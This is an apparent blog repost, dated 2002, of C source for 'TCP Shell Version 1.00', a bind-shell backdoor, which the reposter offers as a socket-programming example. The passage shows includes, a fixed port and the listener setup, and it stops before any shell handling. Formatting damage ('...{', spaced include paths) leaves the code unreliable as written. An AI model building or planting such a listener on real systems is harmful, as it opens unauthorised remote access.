來源:本文出自:http://sinbad.zhoubin.com 作者: 不詳 (2002-12-12 06:02:00)
很簡單很容易被發現,且當作socket編程例子學習吧。 /**/ /*=============================================================================
TCP Shell Version 1.00
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (unewn4th@usa.net)
=============================================================================
*/
#include < signal.h >
#include < stdio.h >
#include < stdlib.h >
#include < string .h >
#include < sys / types.h >
#include < sys / socket.h >
#include < errno.h >
#include < unistd.h >
#include < netinet / in .h >
#include < limits.h >
#include < netdb.h >
#include < arpa / inet.h >
#define MAX_CLIENTS 5 /* Max client num */
#define PORT_NUM 15210 /* Port */
void get_connection(socket_type, port, listener)
int socket_type;
int port;
int * listener;
... {
struct sockaddr_in address;
struct sockaddr_in acc;
int listening_socket;
int connected_socket = -1;
int new_process;
int reuse_addr = 1;
int acclen=sizeof(acc);
memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = htonl(INADDR_ANY);
listening_socket = socket(AF_INET, socket_type, 0);
if (listening_socket < 0) ...{
perror("socket");
exit(1);
}
if (listener != NULL) *listener = listening_socket;
setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
(void *)&reuse_addr,sizeof(reuse_addr));
if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
)...{
perror("bind");
close(listening_socket);
exit(1);
}
if (socket_type == SOCK_STREAM)...{
if (listen(listening_socket, MAX_CLIENTS)==-1)...{
perror("listen");
exit(1);
}
}
}
void sock_puts(sockfd, str)
int sockfd;
char * str;